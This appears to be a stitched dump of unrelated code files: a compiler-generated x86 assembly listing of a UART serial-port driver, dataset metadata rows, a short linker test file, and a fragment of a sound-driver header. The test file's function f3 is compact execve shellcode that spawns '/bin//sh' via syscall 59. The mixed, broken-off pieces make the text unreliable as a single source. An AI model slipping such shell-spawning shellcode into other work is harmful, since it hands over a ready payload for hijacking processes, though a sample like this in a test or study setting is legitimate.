XOR EDX,EDX
DIV ECX
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pSendBuf
ADD ESI,EAX
PUSH ESI
CALL FWORD PTR _AllocOSPage
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP-4]
AND EAX,EAX
JNZ L_58
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+28]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pRecvBuf
ADD ESI,EAX
PUSH ESI
CALL FWORD PTR _AllocOSPage
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP-4]
AND EAX,EAX
JZ L_59
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pSendBuf
ADD ESI,EAX
PUSH DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+24]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
PUSH EAX
CALL FWORD PTR _DeAllocPage
L_59:
L_58:
MOV EAX,DWORD PTR [EBP-4]
AND EAX,EAX
JZ L_60
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP-4]
JMP L_57
L_60:
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+20]
MOV WORD PTR [EBP-6], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cSendBuf
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _head_send
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _tail_send
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _head_recv
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _recv_error
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IER
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,1
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IIR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,2
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _FCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,2
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,3
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _MCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,4
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,5
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _MSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,6
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _DLAB_HI
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV ECX,1
ADD EAX,ECX
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _DLAB_LO
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-6]
MOV WORD PTR [ESI], AX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
CLI
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
MOV EAX,11
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _MCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
PUSH 15
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IER
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
PUSH 3
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _FCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IIR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
MOV BYTE PTR [EBP-7], AL
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-7]
MOV ECX,192
AND EAX,ECX
JZ L_61
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _f16550
ADD ESI,EAX
MOV EAX,1
MOV BYTE PTR [ESI], AL
JMP L_62
L_61:
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _f16550
ADD ESI,EAX
XOR EAX,EAX
MOV BYTE PTR [ESI], AL
L_62:
STI
PUSH DWORD PTR [EBP+8]
CALL _SetParams
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+19]
PUSH EAX
CALL FWORD PTR _UnMaskIRQ
XOR EAX,EAX
L_57:
MOV ESP,EBP
POP EBP
RETN 4
_CloseCommC:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+19]
PUSH EAX
CALL FWORD PTR _MaskIRQ
XOR EAX,EAX
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _MCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
XOR EAX,EAX
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IER
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pSendBuf
ADD ESI,EAX
PUSH DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+24]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
PUSH EAX
CALL FWORD PTR _DeAllocPage
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pRecvBuf
ADD ESI,EAX
PUSH DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+28]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
PUSH EAX
CALL FWORD PTR _DeAllocPage
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP-4]
MOV ESP,EBP
POP EBP
RETN 4
_comdev_op:
PUSH EBP
MOV EBP,ESP
SUB ESP,13
MOV EAX,DWORD PTR [EBP+24]
CMP EAX,5
SETE AL
AND AL,AL
JZ L_64
XOR EAX,EAX
MOV DWORD PTR [EBP-12], EAX
JMP L_65
L_64:
MOV EAX,1
MOV DWORD PTR [EBP-12], EAX
L_65:
LEA EAX,DWORD PTR [EBP-8]
PUSH EAX
CALL FWORD PTR _GetJobNum
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
SETZ AL
AND AL,AL
JZ L_66
MOV EAX,DWORD PTR [EBP+20]
CMP EAX,10
SETNE AL
AND AL,AL
L_66:
JZ L_67
MOV EAX,807
JMP L_68
L_67:
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_69
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
CMP EAX,DWORD PTR [EBP-8]
SETNE AL
AND AL,AL
JZ L_70
MOV EAX,DWORD PTR [EBP-8]
CMP EAX,1
SETNE AL
AND AL,AL
L_70:
JZ L_71
MOV EAX,812
JMP L_68
L_71:
L_69:
XOR EAX,EAX
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+20]
JMP L_73
L_74:
JMP L_72
L_75:
PUSH DWORD PTR [EBP-12]
PUSH DWORD PTR [EBP+8]
CALL _ReadByteC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_76:
PUSH DWORD PTR [EBP-12]
MOV ESI,DWORD PTR [EBP+8]
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
CALL _WriteByteC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_77:
PUSH DWORD PTR [EBP-12]
PUSH DWORD PTR [EBP+8]
PUSH DWORD PTR [EBP+12]
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,ESI
ADD EAX,8
PUSH EAX
CALL _ReadRecordC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_78:
PUSH DWORD PTR [EBP-12]
PUSH DWORD PTR [EBP+8]
PUSH DWORD PTR [EBP+12]
CALL _WriteRecordC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_79:
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP+16]
MOV DWORD PTR [ESI+36], EAX
JMP L_72
L_80:
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP+16]
MOV DWORD PTR [ESI+32], EAX
JMP L_72
L_81:
PUSH DWORD PTR [EBP-12]
CALL _OpenCommC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_82:
PUSH DWORD PTR [EBP-12]
CALL _CloseCommC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_83:
PUSH DWORD PTR [EBP-12]
CALL _DiscardRecvC
MOV DWORD PTR [EBP-4], EAX
JMP L_72
L_84:
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,1
OR EAX,ECX
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
JMP L_72
L_85:
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,2
OR EAX,ECX
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _MCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
JMP L_72
L_86:
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,-2
AND EAX,ECX
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
L_87:
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,-3
AND EAX,ECX
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP-12]
MOV ESI,OFFSET _control_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _MCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
JMP L_72
L_88:
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
MOV BYTE PTR [EBP-13], AL
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
MOV ECX,64
OR EAX,ECX
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
PUSH DWORD PTR [EBP+16]
CALL FWORD PTR _Sleep
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
PUSH EAX
MOV EAX,DWORD PTR [EBP-12]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
JMP L_72
L_89:
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP-12]
MOV EBX,ESI
MOV ESI,OFFSET _mstat_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,128
AND EAX,ECX
MOV BYTE PTR [EBX], AL
JMP L_72
L_90:
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP-12]
MOV EBX,ESI
MOV ESI,OFFSET _mstat_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,32
AND EAX,ECX
MOV BYTE PTR [EBX], AL
JMP L_72
L_91:
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP-12]
MOV EBX,ESI
MOV ESI,OFFSET _mstat_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,16
AND EAX,ECX
MOV BYTE PTR [EBX], AL
JMP L_72
L_92:
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP-12]
MOV EBX,ESI
MOV ESI,OFFSET _mstat_byte
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV ECX,64
AND EAX,ECX
MOV BYTE PTR [EBX], AL
JMP L_72
L_93:
JMP L_72
L_73:
CMP EAX,23
JE L_92
CMP EAX,22
JE L_91
CMP EAX,21
JE L_90
CMP EAX,20
JE L_89
CMP EAX,19
JE L_88
CMP EAX,18
JE L_87
CMP EAX,17
JE L_86
CMP EAX,16
JE L_85
CMP EAX,15
JE L_84
CMP EAX,12
JE L_83
CMP EAX,11
JE L_82
CMP EAX,10
JE L_81
CMP EAX,14
JE L_80
CMP EAX,13
JE L_79
CMP EAX,2
JE L_78
CMP EAX,1
JE L_77
CMP EAX,32
JE L_76
CMP EAX,31
JE L_75
CMP EAX,0
JE L_74
JMP L_93
L_72:
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-4]
MOV DWORD PTR [ESI+4], EAX
MOV EAX,DWORD PTR [EBP-4]
L_68:
MOV ESP,EBP
POP EBP
RETN 20
_comdev_stat:
PUSH EBP
MOV EBP,ESP
SUB ESP,8
MOV EAX,DWORD PTR [EBP+20]
CMP EAX,5
SETE AL
AND AL,AL
JZ L_94
XOR EAX,EAX
MOV DWORD PTR [EBP-8], EAX
JMP L_95
L_94:
MOV EAX,1
MOV DWORD PTR [EBP-8], EAX
L_95:
MOV EAX,DWORD PTR [EBP+12]
CMP EAX,64
SETA AL
AND AL,AL
JZ L_96
MOV EAX,64
MOV DWORD PTR [EBP-4], EAX
JMP L_97
L_96:
MOV EAX,DWORD PTR [EBP+12]
MOV DWORD PTR [EBP-4], EAX
L_97:
MOV EAX,DWORD PTR [EBP-8]
AND EAX,EAX
JNZ L_98
PUSH OFFSET _comstat
PUSH DWORD PTR [EBP+16]
PUSH DWORD PTR [EBP-4]
CALL FWORD PTR _CopyData
JMP L_99
L_98:
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
PUSH ESI
PUSH DWORD PTR [EBP+16]
PUSH DWORD PTR [EBP-4]
CALL FWORD PTR _CopyData
L_99:
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP+12]
MOV DWORD PTR [ESI], EAX
XOR EAX,EAX
MOV ESP,EBP
POP EBP
RETN 16
_comdev_init:
PUSH EBP
MOV EBP,ESP
SUB ESP,34
MOV EAX,DWORD PTR [EBP+16]
CMP EAX,5
SETE AL
AND AL,AL
JZ L_101
XOR EAX,EAX
MOV DWORD PTR [EBP-16], EAX
JMP L_102
L_101:
MOV EAX,1
MOV DWORD PTR [EBP-16], EAX
L_102:
MOV EAX,DWORD PTR [EBP+8]
CMP EAX,40
SETB AL
AND AL,AL
JZ L_103
MOV EAX,827
JMP L_104
L_103:
MOV EAX,DWORD PTR [EBP+12]
MOV _pCS, EAX
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+12]
MOV DWORD PTR [EBP-20], EAX
MOV ESI,_pCS
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+16]
MOV BYTE PTR [EBP-31], AL
MOV ESI,_pCS
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+17]
MOV BYTE PTR [EBP-32], AL
MOV ESI,_pCS
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+18]
MOV BYTE PTR [EBP-33], AL
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+32]
MOV DWORD PTR [EBP-24], EAX
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+36]
MOV DWORD PTR [EBP-28], EAX
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+20]
MOV WORD PTR [EBP-30], AX
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+24]
MOV DWORD PTR [EBP-8], EAX
MOV ESI,_pCS
MOV EAX,DWORD PTR [ESI+28]
MOV DWORD PTR [EBP-12], EAX
MOV ESI,_pCS
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+19]
MOV BYTE PTR [EBP-34], AL
MOV EAX,DWORD PTR [EBP-20]
CMP EAX,38400
SETA AL
AND AL,AL
JNZ L_105
MOV EAX,DWORD PTR [EBP-20]
CMP EAX,150
SETB AL
AND AL,AL
L_105:
JZ L_106
MOV EAX,820
JMP L_104
L_106:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-31]
XOR ECX,ECX
CMP EAX,ECX
SETB AL
AND AL,AL
JNZ L_107
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-31]
CMP EAX,2
SETA AL
AND AL,AL
L_107:
JZ L_108
MOV EAX,821
JMP L_104
L_108:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-32]
CMP EAX,5
SETB AL
AND AL,AL
JNZ L_109
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-32]
CMP EAX,8
SETA AL
AND AL,AL
L_109:
JZ L_110
MOV EAX,822
JMP L_104
L_110:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-33]
CMP EAX,1
SETB AL
AND AL,AL
JNZ L_111
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-33]
CMP EAX,2
SETA AL
AND AL,AL
L_111:
JZ L_112
MOV EAX,823
JMP L_104
L_112:
MOV EAX,DWORD PTR [EBP-24]
AND EAX,EAX
JNZ L_113
MOV EAX,1
MOV DWORD PTR [EBP-24], EAX
L_113:
MOV EAX,DWORD PTR [EBP-28]
AND EAX,EAX
JNZ L_114
MOV EAX,1
MOV DWORD PTR [EBP-28], EAX
L_114:
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-20]
MOV DWORD PTR [ESI+12], EAX
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-31]
MOV BYTE PTR [ESI+16], AL
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-32]
MOV BYTE PTR [ESI+17], AL
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-33]
MOV BYTE PTR [ESI+18], AL
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-24]
MOV DWORD PTR [ESI+32], EAX
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-28]
MOV DWORD PTR [ESI+36], EAX
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_115
PUSH DWORD PTR [EBP-16]
CALL _SetParams
JMP L_116
L_115:
MOVZX EAX,WORD PTR [EBP-30]
AND EAX,EAX
JNZ L_117
MOV EAX,824
JMP L_104
L_117:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-34]
CMP EAX,3
SETB AL
AND AL,AL
JZ L_118
MOV EAX,825
JMP L_104
L_118:
MOV EAX,DWORD PTR [EBP-8]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
MOV ECX,4096
MUL ECX
MOV DWORD PTR [EBP-8], EAX
MOV EAX,DWORD PTR [EBP-8]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
MOV EAX,EDX
AND EAX,EAX
JZ L_119
MOV EAX,DWORD PTR [EBP-8]
ADD EAX,4096
MOV DWORD PTR [EBP-8], EAX
L_119:
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
MOV ECX,4096
MUL ECX
MOV DWORD PTR [EBP-12], EAX
MOV EAX,DWORD PTR [EBP-12]
MOV ECX,4096
XOR EDX,EDX
DIV ECX
MOV EAX,EDX
AND EAX,EAX
JZ L_120
MOV EAX,DWORD PTR [EBP-12]
ADD EAX,4096
MOV DWORD PTR [EBP-12], EAX
L_120:
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOVZX EAX,WORD PTR [EBP-30]
MOV DWORD PTR [ESI+20], EAX
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-34]
MOV BYTE PTR [ESI+19], AL
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-8]
MOV DWORD PTR [ESI+24], EAX
MOV EAX,DWORD PTR [EBP-16]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-12]
MOV DWORD PTR [ESI+28], EAX
MOV EAX,DWORD PTR [EBP-16]
SHL EAX,2
MOV ESI,OFFSET _sSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-8]
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP-16]
SHL EAX,2
MOV ESI,OFFSET _sRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-12]
MOV DWORD PTR [ESI], EAX
XOR EAX,EAX
MOV DWORD PTR [EBP-4], EAX
L_116:
MOV EAX,DWORD PTR [EBP-4]
L_104:
MOV ESP,EBP
POP EBP
RETN 12
| 18.207822 | 50 | 0.659132 |
44d4469359094d15dd81ee5b2036c1ef365fea1f | 389 | asm | Assembly | tests/link/elf/test06.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | null | null | null | tests/link/elf/test06.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | 4 | 2019-02-27T05:41:26.000Z | 2020-07-16T00:24:24.000Z | tests/link/elf/test06.asm | Hiroshi123/bin_tools | 95929eb218a82e30c43ee5bd209301a24abebffa | [
"MIT"
] | null | null | null |
section .text
global f1
f1:
;; push rsp
;; push rbp
;; call h1
;; pop rbp
;; pop rsp
;; push rax
mov rax,0
mov rdi,0
lea rsi,[rsp]
mov rdx,4
syscall
;; mov qword [rsp],0x4000b0
ret
f2:
mov rax, 60
mov rdi, 0
syscall
f3:
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+59]
syscall
| 9.974359 | 28 | 0.622108 |
5f32bb7787f4d95ced7aadf68c196e9cf900a4c3 | 1,150 | asm | Assembly | sk/sfx/AB.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 9 | 2017-10-09T20:28:45.000Z | 2021-06-29T21:19:20.000Z | sk/sfx/AB.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 12 | 2018-08-01T13:52:20.000Z | 2022-02-21T02:19:37.000Z | sk/sfx/AB.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 2 | 2018-02-17T19:50:36.000Z | 2019-10-30T19:28:06.000Z | Sound_AB_Header:
smpsHeaderStartSong 3
